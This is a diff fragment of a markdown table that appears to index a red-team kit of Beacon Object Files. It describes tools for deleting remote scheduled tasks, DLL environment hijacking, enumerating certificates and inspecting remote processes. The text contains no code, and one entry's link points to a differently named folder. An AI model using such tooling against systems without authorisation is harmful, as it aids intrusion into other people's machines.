+|**[DelTaskScheduler](KIT/DelTaskScheduler)**|Delete a scheduled task on the current- or a remote host.|
 |**[DllEnvHijacking](KIT/DllEnvHijacking)**|BOF implementation of DLL environment hijacking published by [Wietze](https://www.wietzebeukema.nl/blog/save-the-environment-variables) |
+|**[EnumLocalCert](KIT/DelLocalCert)**|List all local computer certificates from a specific store.|
 |**[FindDotnet](KIT/FindDotnet)**|Find processes that most likely have .NET loaded.|
 |**[FindHandle](KIT/FindHandle)**|Find "process" and "thread" handle types between processes.|
 |**[FindLib](KIT/FindLib)**|Find loaded module(s) in remote process(es).|